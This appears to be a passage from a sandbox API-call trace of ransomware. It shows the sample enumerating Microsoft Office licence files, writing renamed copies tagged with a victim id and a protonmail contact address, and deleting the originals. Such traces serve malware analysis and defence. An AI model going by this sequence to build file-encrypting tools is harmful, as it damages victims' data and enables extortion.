	[0195.805] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString=".7z") returned 3
	[0195.805] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.806] lstrlenW (lpString=".dbf") returned 4
	[0195.806] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.806] lstrlenW (lpString=".1cd") returned 4
	[0195.806] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.806] lstrlenW (lpString=".jpg") returned 4
	[0195.806] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.806] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.806] lstrlenW (lpString="HomeBusinessR_Trial-pl.xrm-ms") returned 29
	[0195.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0196.050] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11167) returned 1
	[0196.050] CloseHandle (hObject=0x5bc) returned 1
	[0196.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220
	[0196.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0196.287] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.287] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0196.288] GetLastError () returned 0x0
	[0196.289] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0196.383] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0196.384] ReadFile (in: hFile=0x5ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.384] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0196.384] SetEndOfFile (hFile=0x5d0) returned 1
	[0196.384] CloseHandle (hObject=0x5d0) returned 1
	[0196.384] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.384] SetEndOfFile (hFile=0x5ac) returned 1
	[0196.388] CloseHandle (hObject=0x5ac) returned 1
	[0196.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1
	[0196.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.389] lstrlenW (lpString=".doc") returned 4
	[0196.389] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.389] lstrlenW (lpString=".docx") returned 5
	[0196.389] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.389] lstrlenW (lpString=".pdf") returned 4
	[0196.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.389] lstrlenW (lpString=".xls") returned 4
	[0196.389] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.389] lstrlenW (lpString=".xlsx") returned 5
	[0196.389] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.389] lstrlenW (lpString=".ppt") returned 4
	[0196.389] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.389] lstrlenW (lpString=".zip") returned 4
	[0196.389] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.389] lstrlenW (lpString=".rar") returned 4
	[0196.389] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString=".bz2") returned 4
	[0196.390] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString=".7z") returned 3
	[0196.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.390] lstrlenW (lpString=".dbf") returned 4
	[0196.390] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.390] lstrlenW (lpString=".1cd") returned 4
	[0196.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.390] lstrlenW (lpString=".jpg") returned 4
	[0196.390] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.390] lstrlenW (lpString=".doc") returned 4
	[0196.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString=".docx") returned 5
	[0196.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.390] lstrlenW (lpString=".pdf") returned 4
	[0196.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString=".xls") returned 4
	[0196.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString=".xlsx") returned 5
	[0196.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.390] lstrlenW (lpString=".ppt") returned 4
	[0196.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.390] lstrlenW (lpString=".zip") returned 4
	[0196.390] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString=".rar") returned 4
	[0196.390] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.390] lstrlenW (lpString=".bz2") returned 4
	[0196.391] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.391] lstrlenW (lpString=".7z") returned 3
	[0196.391] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.391] lstrlenW (lpString=".dbf") returned 4
	[0196.391] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.391] lstrlenW (lpString=".1cd") returned 4
	[0196.391] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0196.391] lstrlenW (lpString=".jpg") returned 4
	[0196.391] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.446] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.446] lstrlenW (lpString="HomeBusinessR_Trial2-ppd.xrm-ms") returned 31
	[0196.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.449] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=22215) returned 1
	[0196.449] CloseHandle (hObject=0x5b0) returned 1
	[0196.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 0x220
	[0196.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.450] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.450] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0196.451] GetLastError () returned 0x0
	[0196.451] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x56c7, lpOverlapped=0x0) returned 1
	[0196.453] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0196.455] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.455] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x112, lpOverlapped=0x0) returned 1
	[0196.455] SetEndOfFile (hFile=0x5dc) returned 1
	[0196.455] CloseHandle (hObject=0x5dc) returned 1
	[0196.455] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.455] SetEndOfFile (hFile=0x5b0) returned 1
	[0196.458] CloseHandle (hObject=0x5b0) returned 1
	[0196.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1
	[0196.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.459] lstrlenW (lpString=".doc") returned 4
	[0196.459] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.459] lstrlenW (lpString=".docx") returned 5
	[0196.459] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.459] lstrlenW (lpString=".pdf") returned 4
	[0196.459] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.459] lstrlenW (lpString=".xls") returned 4
	[0196.459] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.460] lstrlenW (lpString=".xlsx") returned 5
	[0196.460] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.460] lstrlenW (lpString=".ppt") returned 4
	[0196.460] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.460] lstrlenW (lpString=".zip") returned 4
	[0196.460] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.460] lstrlenW (lpString=".rar") returned 4
	[0196.460] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.460] lstrlenW (lpString=".bz2") returned 4
	[0196.460] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.463] lstrlenW (lpString=".7z") returned 3
	[0196.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.463] lstrlenW (lpString=".dbf") returned 4
	[0196.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.463] lstrlenW (lpString=".1cd") returned 4
	[0196.463] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.464] lstrlenW (lpString=".jpg") returned 4
	[0196.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.464] lstrlenW (lpString=".doc") returned 4
	[0196.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString=".docx") returned 5
	[0196.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.464] lstrlenW (lpString=".pdf") returned 4
	[0196.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString=".xls") returned 4
	[0196.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString=".xlsx") returned 5
	[0196.464] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.464] lstrlenW (lpString=".ppt") returned 4
	[0196.464] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.464] lstrlenW (lpString=".zip") returned 4
	[0196.464] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString=".rar") returned 4
	[0196.464] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString=".bz2") returned 4
	[0196.464] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString=".7z") returned 3
	[0196.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.464] lstrlenW (lpString=".dbf") returned 4
	[0196.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.464] lstrlenW (lpString=".1cd") returned 4
	[0196.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81
	[0196.465] lstrlenW (lpString=".jpg") returned 4
	[0196.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.465] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.465] lstrlenW (lpString="HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 34
	[0196.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.466] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11625) returned 1
	[0196.466] CloseHandle (hObject=0x5b0) returned 1
	[0196.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220
	[0196.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0196.466] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.466] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0196.467] GetLastError () returned 0x0
	[0196.467] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d69, lpOverlapped=0x0) returned 1
	[0196.553] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0196.554] ReadFile (in: hFile=0x5b0, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.554] WriteFile (in: hFile=0x5dc, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x118, lpOverlapped=0x0) returned 1
	[0196.555] SetEndOfFile (hFile=0x5dc) returned 1
	[0196.555] CloseHandle (hObject=0x5dc) returned 1
	[0196.555] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.555] SetEndOfFile (hFile=0x5b0) returned 1
	[0196.557] CloseHandle (hObject=0x5b0) returned 1
	[0196.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1
	[0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.559] lstrlenW (lpString=".doc") returned 4
	[0196.559] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.559] lstrlenW (lpString=".docx") returned 5
	[0196.559] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.559] lstrlenW (lpString=".pdf") returned 4
	[0196.559] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.559] lstrlenW (lpString=".xls") returned 4
	[0196.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.559] lstrlenW (lpString=".xlsx") returned 5
	[0196.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.559] lstrlenW (lpString=".ppt") returned 4
	[0196.559] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.559] lstrlenW (lpString=".zip") returned 4
	[0196.559] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString=".rar") returned 4
	[0196.560] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString=".bz2") returned 4
	[0196.560] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString=".7z") returned 3
	[0196.560] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.560] lstrlenW (lpString=".dbf") returned 4
	[0196.560] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.560] lstrlenW (lpString=".1cd") returned 4
	[0196.560] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.560] lstrlenW (lpString=".jpg") returned 4
	[0196.560] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84
	[0196.560] lstrlenW (lpString=".doc") returned 4
